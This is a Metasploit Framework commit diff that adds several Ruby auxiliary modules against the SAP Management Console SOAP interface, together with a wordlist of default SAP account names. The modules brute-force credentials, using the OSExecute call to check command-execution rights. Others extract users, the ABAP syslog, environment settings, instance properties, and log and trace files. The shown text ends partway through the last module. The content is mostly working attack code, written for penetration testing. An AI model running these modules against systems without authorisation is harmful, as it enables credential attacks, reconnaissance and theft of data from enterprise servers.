Added SAP Management Console auxiliary scanner modules
git-svn-id: file:///home/svn/framework3/trunk@11858 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
2dbbdc18dd
commit
37e9ad1ed4
|
@ -0,0 +1,10 @@
|
|||
sapservice<SAPSID>
|
||||
sapadm
|
||||
<SAPSID>adm
|
||||
sqd<SAPSID>
|
||||
sap<SAPSID>db
|
||||
<SAPSID>
|
||||
sapservice<SAPSID>
|
||||
sapr3
|
||||
sapsr3
|
||||
ora<SAPSID>
|
|
@ -0,0 +1,132 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'SAP Management Console ABAP syslog',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => 'This module simply attempts to extract the ABAP syslog through the SAP Management Console SOAP Interface.',
|
||||
'References' =>
|
||||
[
|
||||
# General
|
||||
[ 'URL', 'http://blog.c22.cc' ]
|
||||
],
|
||||
'Author' => [ 'Chris John Riley' ],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(50013),
|
||||
OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']),
|
||||
OptString.new('UserAgent', [ true, "The HTTP User-Agent sent in the request",
|
||||
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)' ]),
|
||||
OptString.new('LFILE', [true, 'Set path to save output to file', 'abapsyslog']),
|
||||
], self.class)
|
||||
register_autofilter_ports([ 50013 ])
|
||||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
res = send_request_cgi({
|
||||
'uri' => "/#{datastore['URI']}",
|
||||
'method' => 'GET',
|
||||
'headers' => {'User-Agent' => datastore['UserAgent']}
|
||||
}, 25)
|
||||
return if not res
|
||||
|
||||
extractabap(ip)
|
||||
end
|
||||
|
||||
def extractabap(rhost)
|
||||
verbose = datastore['VERBOSE']
|
||||
print_status("[SAP] Connecting to SAP Management Console SOAP Interface on #{rhost}:#{rport}")
|
||||
success = false
|
||||
|
||||
soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
|
||||
xsi = 'http://www.w3.org/2001/XMLSchema-instance'
|
||||
xs = 'http://www.w3.org/2001/XMLSchema'
|
||||
sapsess = 'http://www.sap.com/webas/630/soap/features/session/'
|
||||
ns1 = 'ns1:ABAPReadSyslog'
|
||||
|
||||
data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
|
||||
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="' + soapenv + '" xmlns:xsi="' + xsi + '" xmlns:xs="' + xs + '">' + "\r\n"
|
||||
data << '<SOAP-ENV:Header>' + "\r\n"
|
||||
data << '<sapsess:Session xlmns:sapsess="' + sapsess + '">' + "\r\n"
|
||||
data << '<enableSession>true</enableSession>' + "\r\n"
|
||||
data << '</sapsess:Session>' + "\r\n"
|
||||
data << '</SOAP-ENV:Header>' + "\r\n"
|
||||
data << '<SOAP-ENV:Body>' + "\r\n"
|
||||
data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl"></' + ns1 + '>' + "\r\n"
|
||||
data << '</SOAP-ENV:Body>' + "\r\n"
|
||||
data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"
|
||||
|
||||
begin
|
||||
res = send_request_raw({
|
||||
'uri' => "/#{datastore['URI']}",
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'headers' =>
|
||||
{
|
||||
'Content-Length' => data.length,
|
||||
'SOAPAction' => '""',
|
||||
'Content-Type' => 'text/xml; charset=UTF-8',
|
||||
}
|
||||
}, 60)
|
||||
|
||||
if res.code == 200
|
||||
success = true
|
||||
elsif res.code == 500
|
||||
case res.body
|
||||
when /<faultstring>(.*)<\/faultstring>/i
|
||||
faultcode = "#{$1}"
|
||||
fault = true
|
||||
end
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionError
|
||||
print_error("[SAP] Unable to attempt authentication")
|
||||
return :abort
|
||||
end
|
||||
|
||||
if success
|
||||
print_status("[SAP] ABAP syslog downloading to: #{datastore['LFILE']}")
|
||||
|
||||
outputfile = datastore['LFILE'] + "_" + datastore['RHOST']
|
||||
print_status("Writing local file " + outputfile + " in XML format")
|
||||
|
||||
File.open(outputfile,'ab') do |f|
|
||||
f << res.body
|
||||
end
|
||||
|
||||
print_good("Saved file " + outputfile)
|
||||
|
||||
elsif fault
|
||||
print_error("[SAP] Errorcode: #{faultcode}")
|
||||
return
|
||||
else
|
||||
print_error("[SAP] failed to access ABAPSyslog")
|
||||
return
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,163 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::AuthBrute
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'SAP Management Console Brute Force',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => %q{ This module simply attempts to brute force the username | password for the SAP Management Console SOAP Interface. },
|
||||
'References' =>
|
||||
[
|
||||
# General
|
||||
[ 'URL', 'http://blog.c22.cc' ]
|
||||
],
|
||||
'Author' => [ 'Chris John Riley' ],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(50013),
|
||||
OptString.new('SAP_SID', [false, 'Input SAP SID to attempt brute-forcing standard SAP accounts ', '']),
|
||||
OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']),
|
||||
OptString.new('UserAgent', [ true, "The HTTP User-Agent sent in the request",
|
||||
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)' ]),
|
||||
], self.class)
|
||||
register_autofilter_ports([ 50013 ])
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
res = send_request_cgi({
|
||||
'uri' => "/#{datastore['URI']}",
|
||||
'method' => 'GET',
|
||||
'headers' =>
|
||||
{
|
||||
'User-Agent' => datastore['UserAgent']
|
||||
}
|
||||
}, 25)
|
||||
return if not res
|
||||
|
||||
if datastore['SAP_SID']
|
||||
if datastore['USER_FILE']
|
||||
print_status("SAPSID set to '#{datastore['SAP_SID']}' - Using provided wordlist without modification")
|
||||
else
|
||||
print_status("SAPSID set to '#{datastore['SAP_SID']}' - Setting default SAP wordlist")
|
||||
datastore['USER_FILE'] = '/opt/metasploit3/msf3/data/wordlists/sap_common.txt'
|
||||
end
|
||||
end
|
||||
|
||||
each_user_pass do |user, pass|
|
||||
enum_user(user,pass)
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
def enum_user(user, pass)
|
||||
if datastore['USER_FILE'] == '/opt/metasploit3/msf3/data/wordlists/sap_common.txt' and datastore['SAP_SID']
|
||||
user = user.gsub("<SAPSID>", datastore["SAP_SID"].downcase)
|
||||
pass = pass.gsub("<SAPSID>", datastore["SAP_SID"])
|
||||
end
|
||||
|
||||
verbose = datastore['VERBOSE']
|
||||
print_status("#{rhost}:#{rport} - Trying username:'#{user}' password:'#{pass}'")
|
||||
success = false
|
||||
|
||||
soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
|
||||
xsi = 'http://www.w3.org/2001/XMLSchema-instance'
|
||||
xs = 'http://www.w3.org/2001/XMLSchema'
|
||||
sapsess = 'http://www.sap.com/webas/630/soap/features/session/'
|
||||
ns1 = 'ns1:OSExecute'
|
||||
|
||||
data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
|
||||
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="' + soapenv + '" xmlns:xsi="' + xsi + '" xmlns:xs="' + xs + '">' + "\r\n"
|
||||
data << '<SOAP-ENV:Header>' + "\r\n"
|
||||
data << '<sapsess:Session xlmns:sapsess="' + sapsess + '">' + "\r\n"
|
||||
data << '<enableSession>true</enableSession>' + "\r\n"
|
||||
data << '</sapsess:Session>' + "\r\n"
|
||||
data << '</SOAP-ENV:Header>' + "\r\n"
|
||||
data << '<SOAP-ENV:Body>' + "\r\n"
|
||||
data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl"><command>hostname</command><async>0</async></' + ns1 + '>' + "\r\n"
|
||||
data << '</SOAP-ENV:Body>' + "\r\n"
|
||||
data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"
|
||||
|
||||
user_pass = Rex::Text.encode_base64(user + ":" + pass)
|
||||
|
||||
begin
|
||||
res = send_request_raw({
|
||||
'uri' => "/#{datastore['URI']}",
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'headers' =>
|
||||
{
|
||||
'Content-Length' => data.length,
|
||||
'SOAPAction' => '""',
|
||||
'Content-Type' => 'text/xml; charset=UTF-8',
|
||||
'Authorization' => 'Basic ' + user_pass
|
||||
}
|
||||
}, 45)
|
||||
|
||||
if (res.code != 500 and res.code != 200)
|
||||
return
|
||||
else
|
||||
body = res.body
|
||||
if body.match(/Invalid Credentials/i)
|
||||
success = false
|
||||
else
|
||||
success = true
|
||||
if body.match(/Permission denied/i)
|
||||
permission = false
|
||||
end
|
||||
|
||||
if body.match(/OSExecuteResponse/i)
|
||||
permission = true
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionError
|
||||
print_error("[SAP #{rhost}] Unable to attempt authentication")
|
||||
return
|
||||
end
|
||||
|
||||
if success
|
||||
print_good("[SAP Management Console] Successful login '#{user}' password: '#{pass}'")
|
||||
|
||||
if permission
|
||||
vprint_good("[SAP Management Console] Login '#{user}' authorized to perform OSExecute calls")
|
||||
else
|
||||
vprint_error("[SAP Management Console] Login '#{user}' NOT authorized to perform OSExecute calls")
|
||||
end
|
||||
|
||||
report_auth_info(
|
||||
:host => rhost,
|
||||
:proto => 'tcp',
|
||||
:sname => 'sap-managementconsole',
|
||||
:user => user,
|
||||
:pass => pass,
|
||||
:target_host => rhost,
|
||||
:target_port => rport
|
||||
)
|
||||
return :next_user
|
||||
else
|
||||
vprint_error("[SAP Management Console] failed to login as '#{user}' password: '#{pass}'")
|
||||
return
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,146 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'SAP Management Console Extract Users',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => %q{ This module simply attempts to extract SAP users from the ABAP Syslog through the SAP Management Console SOAP Interface. },
|
||||
'References' =>
|
||||
[
|
||||
# General
|
||||
[ 'URL', 'http://blog.c22.cc' ]
|
||||
],
|
||||
'Author' => [ 'Chris John Riley' ],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(50013),
|
||||
OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']),
|
||||
OptString.new('UserAgent', [ true, "The HTTP User-Agent sent in the request",
|
||||
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)' ]),
|
||||
], self.class)
|
||||
register_autofilter_ports([ 50013 ])
|
||||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
res = send_request_cgi({
|
||||
'uri' => "/#{datastore['URI']}",
|
||||
'method' => 'GET',
|
||||
'headers' =>
|
||||
{
|
||||
'User-Agent' => datastore['UserAgent']
|
||||
}
|
||||
|
||||
}, 25)
|
||||
return if not res
|
||||
|
||||
extractusers(ip)
|
||||
end
|
||||
|
||||
def extractusers(rhost)
|
||||
verbose = datastore['VERBOSE']
|
||||
print_status("[SAP] Connecting to SAP Management Console SOAP Interface on #{rhost}:#{rport}")
|
||||
success = false
|
||||
|
||||
soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
|
||||
xsi = 'http://www.w3.org/2001/XMLSchema-instance'
|
||||
xs = 'http://www.w3.org/2001/XMLSchema'
|
||||
sapsess = 'http://www.sap.com/webas/630/soap/features/session/'
|
||||
ns1 = 'ns1:ABAPReadSyslog'
|
||||
|
||||
data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
|
||||
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="' + soapenv + '" xmlns:xsi="' + xsi + '" xmlns:xs="' + xs + '">' + "\r\n"
|
||||
data << '<SOAP-ENV:Header>' + "\r\n"
|
||||
data << '<sapsess:Session xlmns:sapsess="' + sapsess + '">' + "\r\n"
|
||||
data << '<enableSession>true</enableSession>' + "\r\n"
|
||||
data << '</sapsess:Session>' + "\r\n"
|
||||
data << '</SOAP-ENV:Header>' + "\r\n"
|
||||
data << '<SOAP-ENV:Body>' + "\r\n"
|
||||
data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl"></' + ns1 + '>' + "\r\n"
|
||||
data << '</SOAP-ENV:Body>' + "\r\n"
|
||||
data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"
|
||||
|
||||
begin
|
||||
res = send_request_raw({
|
||||
'uri' => "/#{datastore['URI']}",
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'headers' =>
|
||||
{
|
||||
'Content-Length' => data.length,
|
||||
'SOAPAction' => '""',
|
||||
'Content-Type' => 'text/xml; charset=UTF-8',
|
||||
}
|
||||
}, 60)
|
||||
|
||||
env = []
|
||||
|
||||
if res.code == 200
|
||||
case res.body
|
||||
when nil
|
||||
# Nothing
|
||||
when /<User>([^<]+)<\/User>/i
|
||||
body = []
|
||||
body = res.body
|
||||
users = body.scan(/<User>([^<]+)<\/User>/i)
|
||||
users = users.uniq
|
||||
success = true
|
||||
end
|
||||
else res.code == 500
|
||||
case res.body
|
||||
when /<faultstring>(.*)<\/faultstring>/i
|
||||
faultcode = "#{$1}"
|
||||
fault = true
|
||||
end
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionError
|
||||
print_error("[SAP] Unable to attempt authentication")
|
||||
return
|
||||
end
|
||||
|
||||
if success
|
||||
print_good("[SAP] Users Extracted: #{users.length} entries extracted from #{rhost}:#{rport}")
|
||||
users.each do |output|
|
||||
print_good("#{output}")
|
||||
report_note(
|
||||
:host => '#{rhost}',
|
||||
:proto => 'SOAP',
|
||||
:port => '#{rport}',
|
||||
:type => 'SAP',
|
||||
:data => "#{output}")
|
||||
end
|
||||
return
|
||||
elsif fault
|
||||
print_error("[SAP] Errorcode: #{faultcode}")
|
||||
return
|
||||
else
|
||||
print_error("[SAP] failed to access ABAPSyslog")
|
||||
return
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,149 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'SAP Management Console getEnvironment',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => %q{ This module simply attempts to identify SAP Environment settings through the SAP Management Console SOAP Interface. },
|
||||
'References' =>
|
||||
[
|
||||
# General
|
||||
[ 'URL', 'http://blog.c22.cc' ]
|
||||
],
|
||||
'Author' => [ 'Chris John Riley' ],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(50013),
|
||||
OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']),
|
||||
OptString.new('UserAgent', [ true, "The HTTP User-Agent sent in the request",
|
||||
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)' ]),
|
||||
OptString.new('LFILE', [false, 'Set path to save output to file', '']),
|
||||
], self.class)
|
||||
register_autofilter_ports([ 50013 ])
|
||||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
res = send_request_cgi({
|
||||
'uri' => "/#{datastore['URI']}",
|
||||
'method' => 'GET',
|
||||
'headers' =>
|
||||
{
|
||||
'User-Agent' => datastore['UserAgent']
|
||||
}
|
||||
}, 25)
|
||||
return if not res
|
||||
|
||||
getEnvironment(ip)
|
||||
end
|
||||
|
||||
def getEnvironment(rhost)
|
||||
verbose = datastore['VERBOSE']
|
||||
print_status("[SAP] Connecting to SAP Management Console SOAP Interface on #{rhost}:#{rport}")
|
||||
success = false
|
||||
|
||||
soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
|
||||
xsi = 'http://www.w3.org/2001/XMLSchema-instance'
|
||||
xs = 'http://www.w3.org/2001/XMLSchema'
|
||||
sapsess = 'http://www.sap.com/webas/630/soap/features/session/'
|
||||
ns1 = 'ns1:GetEnvironment'
|
||||
|
||||
data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
|
||||
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="' + soapenv + '" xmlns:xsi="' + xsi + '" xmlns:xs="' + xs + '">' + "\r\n"
|
||||
data << '<SOAP-ENV:Header>' + "\r\n"
|
||||
data << '<sapsess:Session xlmns:sapsess="' + sapsess + '">' + "\r\n"
|
||||
data << '<enableSession>true</enableSession>' + "\r\n"
|
||||
data << '</sapsess:Session>' + "\r\n"
|
||||
data << '</SOAP-ENV:Header>' + "\r\n"
|
||||
data << '<SOAP-ENV:Body>' + "\r\n"
|
||||
data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl"></' + ns1 + '>' + "\r\n"
|
||||
data << '</SOAP-ENV:Body>' + "\r\n"
|
||||
data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"
|
||||
|
||||
begin
|
||||
res = send_request_raw({
|
||||
'uri' => "/#{datastore['URI']}",
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'headers' =>
|
||||
{
|
||||
'Content-Length' => data.length,
|
||||
'SOAPAction' => '""',
|
||||
'Content-Type' => 'text/xml; charset=UTF-8',
|
||||
}
|
||||
}, 15)
|
||||
|
||||
env = []
|
||||
|
||||
if res.code == 200
|
||||
case res.body
|
||||
when nil
|
||||
# Nothing
|
||||
when /<item>([^<]+)<\/item>/i
|
||||
body = []
|
||||
body = res.body
|
||||
env = body.scan(/<item>([^<]+)<\/item>/i)
|
||||
success = true
|
||||
end
|
||||
else res.code == 500
|
||||
case res.body
|
||||
when /<faultstring>(.*)<\/faultstring>/i
|
||||
faultcode = "#{$1}"
|
||||
fault = true
|
||||
end
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionError
|
||||
print_error("[SAP #{rhost}] Unable to attempt authentication")
|
||||
return
|
||||
end
|
||||
|
||||
if success
|
||||
print_good("[SAP] Environment Extracted: #{env.length} entries extracted")
|
||||
|
||||
if datastore['LFILE'] != ''
|
||||
outputfile = datastore['LFILE'] + "_" + datastore['RHOST']
|
||||
print_good("Writing local file " + outputfile + " in XML format.")
|
||||
File.open(outputfile,'ab') do |f|
|
||||
f << res.body
|
||||
end
|
||||
else
|
||||
env.each do |output|
|
||||
print_status("#{output}")
|
||||
end
|
||||
return
|
||||
end
|
||||
|
||||
elsif fault
|
||||
print_error("[SAP] Errorcode: #{faultcode}")
|
||||
return
|
||||
else
|
||||
print_error("[SAP] failed to request environment")
|
||||
return
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,165 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'SAP Management Console Get Logfile',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => %q{ This module simply attempts to download available logfiles and developer tracefiles through the SAP Management Console SOAP Interface. Please use the sap_manamgenet_console_listlogfiles extension to view a list of availble files. },
|
||||
'References' =>
|
||||
[
|
||||
# General
|
||||
[ 'URL', 'http://blog.c22.cc' ]
|
||||
],
|
||||
'Author' => [ 'Chris John Riley' ],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(50013),
|
||||
OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']),
|
||||
OptString.new('RFILE', [ true, "The name of the file to download", "sapstart.log"]),
|
||||
OptString.new('FILETYPE', [true, 'Specify LOGFILE or TRACEFILE', 'TRACEFILE']),
|
||||
OptString.new('UserAgent', [ true, "The HTTP User-Agent sent in the request",
|
||||
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)' ]),
|
||||
OptString.new('LFILE', [false, 'Set path to save output to file', '']),
|
||||
], self.class)
|
||||
register_autofilter_ports([ 50013 ])
|
||||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
res = send_request_cgi({
|
||||
'uri' => "/#{datastore['URI']}",
|
||||
'method' => 'GET',
|
||||
'headers' =>
|
||||
{
|
||||
'User-Agent' => datastore['UserAgent']
|
||||
}
|
||||
}, 25)
|
||||
return if not res
|
||||
|
||||
gettfiles(ip)
|
||||
end
|
||||
|
||||
def gettfiles(rhost)
|
||||
verbose = datastore['VERBOSE']
|
||||
print_status("[SAP] Connecting to SAP Management Console SOAP Interface on #{rhost}:#{rport}")
|
||||
success = false
|
||||
|
||||
soapenv = 'http://schemas.xmlsoap.org/soap/envelope/'
|
||||
xsi = 'http://www.w3.org/2001/XMLSchema-instance'
|
||||
xs = 'http://www.w3.org/2001/XMLSchema'
|
||||
sapsess = 'http://www.sap.com/webas/630/soap/features/session/'
|
||||
|
||||
case "#{datastore['FILETYPE']}"
|
||||
when /LOGFILE/i
|
||||
ns1 = 'ns1:ReadLogFile'
|
||||
when /TRACEFILE/i
|
||||
ns1 = 'ns1:ReadDeveloperTrace'
|
||||
end
|
||||
|
||||
data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
|
||||
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="' + soapenv + '" xmlns:xsi="' + xsi + '" xmlns:xs="' + xs + '">' + "\r\n"
|
||||
data << '<SOAP-ENV:Header>' + "\r\n"
|
||||
data << '<sapsess:Session xlmns:sapsess="' + sapsess + '">' + "\r\n"
|
||||
data << '<enableSession>true</enableSession>' + "\r\n"
|
||||
data << '</sapsess:Session>' + "\r\n"
|
||||
data << '</SOAP-ENV:Header>' + "\r\n"
|
||||
data << '<SOAP-ENV:Body>' + "\r\n"
|
||||
data << '<' + ns1 + ' xmlns:ns1="urn:SAPControl"><filename>' + "#{datastore['RFILE']}" + '</filename></' + ns1 + '>' + "\r\n"
|
||||
data << '</SOAP-ENV:Body>' + "\r\n"
|
||||
data << '</SOAP-ENV:Envelope>' + "\r\n\r\n"
|
||||
|
||||
begin
|
||||
res = send_request_raw({
|
||||
'uri' => "/#{datastore['URI']}",
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'headers' =>
|
||||
{
|
||||
'Content-Length' => data.length,
|
||||
'SOAPAction' => '""',
|
||||
'Content-Type' => 'text/xml; charset=UTF-8',
|
||||
}
|
||||
}, 120)
|
||||
|
||||
env = []
|
||||
|
||||
if res.code == 200
|
||||
case res.body
|
||||
when nil
|
||||
# Nothing
|
||||
when /<item>([^<]+)<\/item>/i
|
||||
body = []
|
||||
body = res.body
|
||||
env = body.scan(/<item>([^<]+)<\/item>/i)
|
||||
success = true
|
||||
end
|
||||
|
||||
case res.body
|
||||
when nil
|
||||
# Nothing
|
||||
when /<name>([^<]+)<\/name>/i
|
||||
name = "#{$1}"
|
||||
success = true
|
||||
end
|
||||
|
||||
else res.code == 500
|
||||
case res.body
|
||||
when /<faultstring>(.*)<\/faultstring>/i
|
||||
faultcode = "#{$1}"
|
||||
fault = true
|
||||
end
|
||||
end
|
||||
|
||||
rescue ::Rex::ConnectionError
|
||||
print_error("[SAP] Unable to attempt authentication")
|
||||
return
|
||||
end
|
||||
|
||||
if success
|
||||
print_good("[SAP] #{datastore['FILETYPE']}: #{datastore['RFILE']} downloaded from #{rhost}:#{rport}")
|
||||
|
||||
if datastore['LFILE'] != ''
|
||||
outputfile = datastore['LFILE'] + "_" + datastore['RHOST']
|
||||
print_status("Writing local file " + outputfile + " in XML format")
|
||||
File.open(outputfile,'ab') do |f|
|
||||
f << res.body
|
||||
end
|
||||
else
|
||||
env.each do |output|
|
||||
print_status("#{output}")
|
||||
end
|
||||
return
|
||||
end
|
||||
elsif fault
|
||||
print_error("[SAP] Errorcode: #{faultcode}")
|
||||
return
|
||||
else
|
||||
print_error("[SAP] failed to request environment")
|
||||
return
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,212 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'SAP Management Console Instance Properties',
|
||||
'Version' => '$Revision$',
|
||||
'Description' => %q{ This module simply attempts to identify the instance properties through the SAP Management Console SOAP Interface. },
|
||||
'References' =>
|
||||
[
|
||||
# General
|
||||
[ 'URL', 'http://blog.c22.cc' ]
|
||||
],
|
||||
'Author' => [ 'Chris John Riley' ],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(50013),
|
||||
OptString.new('URI', [false, 'Path to the SAP Management Console ', '/']),
|
||||
OptString.new('UserAgent', [ true, "The HTTP User-Agent sent in the request",
|
||||
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)' ]),
|
||||
], self.class)
|
||||
register_autofilter_ports([ 50013 ])
|
||||
deregister_options('RHOST')
|
||||
end
|
||||
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
res = send_request_cgi({
|
||||
'uri' => "/#{datastore['URI']}",
|
||||
'method' => 'GET',
|
||||
'headers' =>
|
||||
{
|
||||
'User-Agent' => datastore['UserAgent']
|
||||
}
|
||||
}, 25)
|
||||
return if not res
|
||||
|
||||
enum_instance(ip)
|
||||
end
|
||||
|
||||
def enum_instance(rhost)
|
||||
verbose = datastore['VERBOSE']
|
||||
print_status("[SAP] Connecting to SAP Management Console SOAP Interface on #{rhost}:#{rport}")
|
||||
success = false
|
||||
soapenv='http://schemas.xmlsoap.org/soap/envelope/'
|
||||
xsi='http://www.w3.org/2001/XMLSchema-instance'
|
||||
xs='http://www.w3.org/2001/XMLSchema'
|
||||
sapsess='http://www.sap.com/webas/630/soap/features/session/'
|
||||
ns1='ns1:GetInstanceProperties'
|
||||
|
||||
data = '<?xml version="1.0" encoding="utf-8"?>' + "\r\n"
|
||||
data << '<SOAP-ENV:Envelope xmlns:SOAP-ENV="' + soapenv + '" xmlns:xsi="' + xsi + '" xmlns:xs="' + xs + '">' + "\r\n"
|
||||
data << '<SOAP-ENV:Header>' + "\r\n"
|
||||
data << '<sapsess:Session xlmns:sapsess="' + sapsess + '">' + "\r\n"
|
||||
data << '<enableSession>true</enableSession>' + "\r\n"
|
||||
data << '</sapsess:Session>' + "\r\n"
|
||||
data << '</SOAP-ENV:Header>' + "\r\n"
|
||||
data << '<SOAP-ENV:Body>' + "\r\n"
|
||||
